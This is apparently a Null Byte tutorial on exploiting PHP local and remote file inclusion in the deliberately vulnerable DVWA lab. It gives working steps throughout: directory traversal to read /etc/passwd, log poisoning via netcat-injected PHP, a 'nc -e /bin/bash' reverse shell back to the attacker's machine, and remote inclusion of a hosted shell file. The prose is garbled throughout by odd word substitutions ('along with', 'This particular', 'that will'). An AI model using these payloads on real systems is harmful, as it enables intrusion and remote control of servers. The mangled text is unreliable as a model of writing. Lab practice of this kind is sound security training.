File inclusion can allow an attacker to view files on a remote host they shouldn’t be able to see, along with can even allow us to run code on a target! Today we’ll be exploring PHP file inclusion using the Damn Vulnerable Web App to practice on. I will cover how both remote file inclusion along with local file inclusion work, with the goal of achieving shell access to the vulnerable host.
First, let’s talk a little bit about what we’re doing. In our first example, we will be looking at a local file inclusion, or LFI. This particular kind of file inclusion includes files present on the remote host. that will can be used to view configuration files, search for interesting files, along with get a low privilege shell. This particular type of inclusion is actually present in PHP, JSP, ASP, along with various other languages.
In our second example, we look at remote file inclusion. that will is actually essentially the same concept, the difference being that will the attacker isn’t limited by what is actually available to them on the remote host. This particular form of inclusion allows an attacker to include files directly via their machine for execution by the remote host. This particular type of inclusion is actually also present in many programming languages.
Local File Inclusion
Local file inclusion allows you to read files on the vulnerable host, along with if you contain the ability to modify files on the local host, execute code as well. For example purposes, I will be using the DVWA (Damn Vulnerable Web App) running on a Virtual Machine on my local network.
Step 1: Test the LFI
In This particular basic LFI scenario, we will use a local file inclusion to gather information on the remote host, along with then exploit a vulnerability allowing us to get a root shell. Below is actually the default “File Inclusion” page in DVWA.
I’m logged into DVWA, along with I have selected the file inclusion portion of the application by clicking on the ‘File Inclusion” tab on the left side. First I will test to see if I can read a common file, “/etc/passwd.”
To do so, I input enough previous directories to get me back to root, then input the path for /etc/passwd.
along with as expected, I am able to recover the /etc/passwd file. Of course, This particular isn’t limited to use only on /etc/passwd. This particular can be used to recover any file that will the web app user has read privileges on. Normally “?page=” could point to file1.PHP.
In This particular case, we use directory traversal to access the /etc/passwd file. In most operating systems, .. represents the previous directory. Since we don’t actually know what directory the app is actually reading files via, we tell the app to go back a bunch of directories, along with then to /etc/passwd. Let’s break that will down a little bit more with an example path.
This particular is actually the working directory of our fictional app. When that will is actually passed a parameter like ‘?page=file1.php’, that will looks in its working directory to load file1.PHP. When we execute these attacks, we don’t actually know the working directory of the application, that will could be buried deep in a directory tree, or that will might be in a users home directory. So we want to be sure that will our path includes enough previous directories to get us back to the root directory, which can be a guessing game.
In This particular relative path, I have a total of fourteen previous directories. that will’s fine. Any previous directories beyond the root directory of the filesystem are ignored. This particular path goes back to the root directory, along with then via there, to /etc/passwd.
This particular is actually incredibly useful for scenarios where you need to read configuration files. Some LFI’s will work when you aren’t logged into the app. In these cases, you can read configuration files, which may contain usernames along with passwords, or various other useful information. today that will we know local file includes work on This particular app, how do we get a shell back?
Step 2: Inject Code
In This particular case, I’m going to take the easy route along with insert the code for my shell into the log files, then access that will with the web app. First, I verify that will I can access the log files. In some cases, these may not be readable.
If we have done our initial recon, we will have some idea of what type of system we are up against, including what type of web server the host is actually running. Armed with This particular knowledge, we can ascertain the path of the log files. In This particular example we have an Apache server, the default location for Apache logs is actually /var/log/apache2/, or /var/log/apache. As we can see at the top, I’ve successfully included the Apache access log into the page.
Next, we check for command execution. Using Netcat, I connect to my web server along with send some PHP code.
nc 192.168.1.111 80
<?php echo shell_exec(‘ls -lart’); ?>
What I’m doing here is actually sending PHP code directly to the web server. This particular is actually not what Apache expects via an HTTP request, along with the server sends back error 400, nevertheless logs the request in /var/log/apache2/access.log. This particular will allow me to read back the log file using the web app, which will execute any PHP that will comes across.
today I have PHP from the log file to execute a directory listing. Let’s see if that will worked.
I can see that will the ls command worked, my code was executed on the remote host. We included the Apache log file into the app, PHP reads through the log file along with prints the text contents to the top of the page. When the PHP interpreter hits our code to execute ls on the system, that will executes that will. I’ve highlighted the portion where our code was executed, the rest of the text is actually just the Apache log file. We’ve got RCE, which means, I’m just a step away via a shell!
Step 3: Get a Shell
today that will we can verify our access, I need to get myself a shell. I’ll connect again with Netcat, nevertheless This particular time my PHP shell_exec() will contain the command for a reverse Netcat connection. This particular is actually where that will can get tricky. If Netcat isn’t installed you aren’t going to get an error, you simply won’t get a connection. In some cases, you have to get tricky with your shells. Luckily, there are many options available for recovering shells via a Linux host.
To start, I’ll type the following into a terminal window.
nc 192.168.1.111 80
<?php shell_exec(‘nc -e /bin/bash 192.168.1.82 31337’); ?>
In This particular command, I establish a bare-bones Netcat connection to the vulnerable host on port 80. I then send PHP code which tells the PHP interpreter to execute Netcat. The shell_exec() function in PHP executes a command via a system shell, along with returns a string.
The command we want PHP to execute is actually the argument to the function, specifically telling Netcat to connect to my machine on port 31337. The -e option tells Netcat to execute Bash. You can use any port you have permission to bind to. The PHP is actually injected into the log file the same as the PHP for our ls command.
To catch the incoming shell, we’ll need to run the following in a terminal window on our attacking machine.
nc -nlv 31337
This particular command executed on my attacking machine tells Netcat to set up a listener on port 31337. The -n argument specifies that will Netcat should not attempt to look up addresses with DNS, the -l argument tells Netcat to listen, along with the -v argument sets verbose mode.
The next time I access the access.log file, the web app executes the code contained within that will along with returns me a reverse shell.
via here, there are there are many paths to take. Generally, I could begin searching the system along with looking for opportunities for privilege escalation. This particular machine could just as easily become part of a botnet, or be used as a jump box. An attacker could also easily add backdoors to the web app itself.
Remote file inclusion is actually even easier if that will’s available. This particular technique allows you to include files off of your own machine or remote host. just for This particular example, I’m going to skip the testing stages along with just include my PHP code for a Netcat reverse shell. First I’ll need to enable my web server. For Kali Linux users, you can type the following into a terminal window.
systemctl start apache2
I will be using the same PHP code I used previously to send a shell back to my machine. I add the code to a file called “shell.html,” though as you’ve seen This particular particular app will include just about any file with PHP in that will. We could get the same result with “shell.PHP,” or “shell.log.” We only need to put one line of PHP into This particular file, which the interpreter will read along with execute. I then move that will file into my web root, which for Kali Linux users should be located at /var/www/html/.
Next, I set up a Netcat listener on my attacking machine by typing the following into a terminal window.
nc -nvl 31337
This particular is actually just a standard listener, the -n argument tells Netcat to not resolve host names, -v argument is actually for verbose, along with the -l argument is actually for listen. The last argument is actually the port to listen on.
Lastly, that will’s time I include the file into the vulnerable application.
The web app executes the PHP code in shell.html, along with as we can see below my Netcat listener is actually connected to the remote host. I have a low privilege user account (www-data), along with can interact with the system via command line.
This particular article covers the basics of local along with remote file inclusions. In some cases, these vulnerabilities can be harder to exploit from the wild. You may need to terminate file names with null-bytes, or even escape the slashes in your path. that will’s all dependent on how the code on the back end is actually parsing the input. Even if the vulnerability is actually more difficult to exploit, that will is actually still very low hanging fruit.
If you have any questions or comments, send them my way from the comments below, or at @0xBarrow on Twitter.
Screenshots by Barrow / Null Byte